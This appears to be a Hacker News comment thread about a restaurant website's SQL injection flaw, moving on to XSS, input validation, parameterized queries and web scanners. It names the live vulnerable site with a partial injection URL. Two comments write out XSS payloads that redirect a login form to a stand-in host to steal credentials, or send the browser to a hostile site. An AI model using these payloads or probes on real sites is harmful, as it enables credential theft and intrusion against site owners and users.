A Big Case of Oops
communities.hp.com
communities.hp.com
http://www.mythaichicago.com/menu.asp?locationid=000004%20OR...
also, the site was built with dreamweaver. Telltale JS markers. Makes me think it's a web agency/ad agency type.
EDIT:
these are the people responsible:
http://www.orangefuse.com/ - who built www.linusinc.com. I chose another orangefuse site at random and produced an XSS error and a potential path disclosure error (i.e. read other things on the server).
edit: christ they suck. Check out justlines.com (warning: autoplay sound). Click on portfolio and try to actually use the scrolly thing on the left.
But yea, probably not a bad idea to delete that link anyway...
Also: im not sure what they could do. Certainly it breaks no laws I know of.
It's the reason most hackers or online criminals are convicted of other crimes.
(I work in this area and have studied the US laws quite recently).
EDIT: perhaps "show intent" is a better way of putting it.
Knowing that someone used your password to send information is enough.
"The court of appeals acknowledged that analysis of the "transmission" element and its required proof was a novel issue for the court under the specific provisions of 18 USC § 1030(a) (5) (A). Yet, the court interpreted the word transmission under this provision by assimilating this term with the wire fraud crime, which also requires the element of transmission. Thus, the court used the Wire Fraud Act interpretation of the word transmission and held that "circumstantial evidence is sufficient to prove that the transmission has occurred." Therefore, the analysis concentrated on the prosecution proof that transmissions were associated to defendant's passwords, despite the employee's claim that the network was not secured and that other employees could have accessed those passwords."
"To commit wire fraud, one must (1) devise, or intend to devise, a scheme or artifice to defraud another person on the basis of a material representation, and (2) do it with the intent to defraud, and (3) do it through the use of interstate wire facilities (i.e. telecommunications of any kind)."
Every single piece of literature (including that case) will include the word "intentionally" somewhere :) It's the bread and butter for hacking laws.
(I cant find much on the case you cite specifically, but from what I did find it sounds like the point your discussing is the proof that it was him that did the dirty deed - when other people could have had his password and done it. Which is an important point, but separate from intent - which they would have still had to prove).
It's much the same principle as how they took down Al Capone for income tax evasion [1]
1. http://en.wikipedia.org/wiki/Al_Capone#Conviction_and_Impris...
http://www.mythaichicago.com/default.asp
Looks like they're still experiencing "issues" - http://www.mythaichicago.com/order.asp?locationid=000004 reports:
"Sorry, On-line ordering is currently undergoing service."
It was a map of Thailand, so that gave me the type of restaurant. From there it was just a simple Google query combining that knowledge with the URL structure revealed in the blog post:
http://www.google.co.uk/search?q=thai+restaurant+locationid%...
Then it was just a case of working through the list of possibilities (it was second on that list) :-)
Most were coded before common sanitization and security practices were observed during dev, not to mention built in to frameworks.
At least the content isn't hidden behind a wall of Flash.
Arguably, it was a kick-ass interview question, but I still feel sort of bad about it.
The things you enter into a login form aren't normally displayed to any other users. If you mean you can run arbitrary JavaScript in your own browser, there are much easier ways to do that and you didn't find a vulnerability.
But to spell it out for you: Cross-site scripting includes as a vector the ability to cause a person to click on a hostile link and cause the resulting page to do something nasty and unexpected. Suppose I post a link in a forum that contains "?username=jerf'><script>document.forms[0].action="htt://hostileproxy.com/userscrape;something_to_hide_login_error()</script><span x='" and tell someone they have to log in. (I changed http to htt to bypass HN linkification.) Now their login goes to my proxy instead, which transparently steals the username and password, and bounces them back to the original site, leaving the user oblivious.
That's why I mentioned it used GET and not POST; it's somewhat harder to fake up a post in a forum (though it's not impossible, I've done it), but faking a "GET" is just a matter of typing the link in. Even if the forum displays the entire link, some people will click. Not everybody is a programmer.
As for whether this is a real threat, don't even try to tell me this isn't, because I've done this. I didn't steal any logins or do anything nasty, but I definitely got far enough to do it if I wanted to. (In fact, same problem: I tried to report it, and the site owner didn't believe it was a really-exploitable problem, either. Yeah... it was.) I don't even say this like it's a point of pride because it was like taking candy from a baby. Just start sticking ', ", and in the case of textareas, </textarea> in places they don't belong and you too will rapidly join the ranks of leet hacker.
(For double-bonus points, it is sometimes possible to create HTML content that will automatically fire Javascript off in a forum; try something like <img src="does.not.exist.jpg" onerror="window.location='htt://hostile.com'">, just as one for-instance. Now, use a browser vuln to load your choice of spyware onto the user's machine. XSS is more important than it seems; in some cases it can lead to your viewer's machines getting completely owned.)
In IE6, and older versions of Opera, <img src=target> is identical to <script src=target> if it sniffs the content of the response from the target to be javascript. Really.
Years ago I struggled to convince a group of sysadmins that server hardening, firewalls and patching were essential for any Internet connected system. I heard things like "there's a million computers on the Internet, why would anyone bother mine" [unless they wanted to use your server to hack someone else or store their porn|warez]" and "nobody can port scan the entire Internet, they'll never find my server" [unless they control an army of scanners].
I made significant progress by having my group perform live IIS5 directory traversal & telnet MTIM attacks at a conference of local sysadmins. (yep, this was a long time ago)
Similarly, today we have a significant number of web developers who don't think it can happen to them, until it does.
Let me try again.
A decade ago, clueless sysadmins put unpatched servers directly on the Internet with no firewall protecting ports that didn't need to be exposed, with no hardening, no patching, etc. An hour later, after their shiny new server got rooted, the clueless sysadmins stood there with the classic deer-headlights look, wondering what just happened.
Today, with OS's that have reasonable default configs on as-shipped, and with firewalls the norm, it's the application developers that are clueless id10t's standing around with the deer-headlights look.
Input validation: solves SQL and other injection issues.
If you're not doing both, you're probably vulnerable somewhere. There is no magic bullet.
For example, you might have a name in the database. What if someone is called O'Beirne? How do we get this into the database? Do we only allow them to have the name OBeirne?
But what if someone passes you an email address that's really 500 comma-separated email addresses?
What if someone passes 'admin=true' to your user update URL?
Your output sanitization doesn't do much for those.
I did not explain very clearly. What I was trying to say was that output normalisation will prevent SQL injection attacks.
I am considering the components of the SQL statement, such as the string O'Beirne, to be things that have to be normalised before being output to the database in the SQL statement. This output normalisation, as the other replies to my post have correctly said, is best done for you by a library. It cannot be done properly by restricting the inputs, as my O'Beirne example shows, only by output normalisation of the SQL.
I think you're trying to say that content neutralization (turning ' into ", for instance) stops SQLI. It might or it might not, depending on the vector (tablespace injection doesn't care about metacharacters, for instance). It's at least more accurate than saying "if you make sure that the web app doesn't spit out [!@#$%^&*(){}:"<>?] you're safe".
http://www.reddit.com/r/programming/comments/86kgp/xss_cross...
which is the context of my quote of larholm above and is a discussion about this page
http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Pr...
Perhaps this is not common usage, but within this context I believe I am correct in saying output normalization is what prevents SQL injection.
larholm goes on to say:
"The lack of output normalization IS the security vulnerability."
"You can either normalize your output for each specific location as you encounter it, or normalize your input once in advance for all current and future output locations."
"The former beats the latter, as it is impossible for you to know how the data will be output in the future."
which also seems correct.
What is "tablespace injection"? I just googled it and there are no references to it anywhere.
http://www.google.com/search?q=%22tablespace+injection%22...
If I understand the idea of output-normalization correctly you'd keep an email address that's really 500 comma-seperated addresses in the database in exactly that form, but when it came time to send an email you would normalize the value, and at that stage you would check for such a case and handle it as appropriate (i.e. remove all commas, send to only the first, etc.) The point is that you don't try to create a stored value that can be used safely everywhere, rather you make the value safe at each instance where it's used.
P.S. This appears to be the relevant conversation, interesting reading: http://www.reddit.com/r/programming/comments/86kgp/xss_cross...
(There's almost never a good reason to construct SQL on the fly.)
A rule of thumb is that if you are concatenting user input strings into your SQL query strings you are doing it wrong.
SQL Injection vulnerabilities happen when inputs influence the parsing of the query. You can't do that when the database already has an AST for the query.
Parameterized queries are not just a different kind of quoting.
b) I'm guessing there are plenty of databases that execute parametrized queries entirely differently than a plaintext ones, including the absence of an escaping step. Since the whole point of quoting + escaping is to demarcate the "data" parts of a query, and you've already done that with parameters, there's no reason a query engine can't use the parameter directly rather than run it through a useless escape then parse-and-unescape cycle.
People have been playing charset games to get past SQL quoting for almost 10 years now, and not just in PHP.
What's the tool ?
Edit: looks like Webinspect: https://h10078.www1.hp.com/cda/hpms/display/main/hpms_conten...
(The marketing copy for it doesn't give much detail, though it does claim you can use this for hipaa compliance, among other things https://h10078.www1.hp.com/cda/hpdc/fetchPDF.do)
WebInspect is a web application scanner. It includes a not-very-useful database of known application vulnerabilities, but also has a well-regarded fuzzer that generates random scary inputs to every input it finds on a site that it spiders. That's what Raf is talking about (his job is, in part, to promote that very expensive tool).
You don't want WebInspect, or AppScan, or any other scanner. If you're a professional, you want Burp Suite, which costs something like EU120 and does just as good a job as a fuzzer as WebInspect. If you're a hobbyist, you want OWASP WebScarab, which is free. Both are Java apps, and will run anywhere Java does.
What are the chances of getting this SQL injection attack vector served on a silver plate right when he needed it?
In my experience? Frighteningly real. You could also ask, "What are the chances of finding an application that has quadratic, cubic, or exponential scaling problems served on a silver plate right when he needed it?", and I'd also have the same reply - frighteningly real.
The most fun I've had in my days was not only demonstrating such security holes, but also finding laughably bad scaling issues while I was running amok. The most frightening thing is, I'm not referring to podunk little companies, but wholesalers or manufacturers with 9 and 10-digit annual revenues. And not small internal apps, but their main presence on the web.
Though I'll say, even as a contractor, these gigs are never enjoyable simply because - despite best trying to avoid it - you've managed to embarrass some people on an epic scale. Once you've fixed what you've been paid for, most places don't look to keep you around much longer unless they truly have a "what's right, not who's right" philosophy.
"So your application produces 60MB of output. The LUNs on the SAN the database server has available is capable of easily sustaining 250MB/s of throughput. Assuming ideal conditions, how fast should it produce the results."
Uh.. about 0.3 seconds?
"Right. However we perform a lot of complex calculations and use some complex logic. Let's assume the penalty for this is two orders of magnitude. How long should it now take?"
About 30 seconds?
"Right. So now do you see why I consider an application that takes 3 1/2 hours to produce the results to have a lot of low-hanging fruit?"
Yeah...
----- -----
I spent the day performing a cursory review. I made three recommendations, only one of which requires non-trivial code changes (but minor in the overall scheme of things), but the overall risk of introducing regressions is very low. Estimated reduction is 97%, which would get it down to about 6 1/2 minutes. Actually refactoring most of the application could certainly get it close to the 30-second mark. The first improvement was simply querying a painful view (which is due to a fundamental schema design flaw) once, instead of querying it N times. It's being tested in their QA department. 82% runtime reduction improvement right off the bat (so from 3 1/2 hours down to 38 minutes)
Not a small company. Very high average level of education amongst the staff. Very bright group in general. Very poor design decisions resulting in very expensive hardware choices to compensate (i.e. FusionIO for a SQL Server tempdb!).
P.s. no you can't have a copy of Scanmus P.p.s if you are really curious just Google the name
Disclaimer: I still work for Y! :) and I'm proud of our security guys
P.p.p.s no that wasn't a challenge
It's amazing that people are still constructing SQL queries as strings in 2010.
Like I said. It's a solved problem, and has been so for a dozen years now.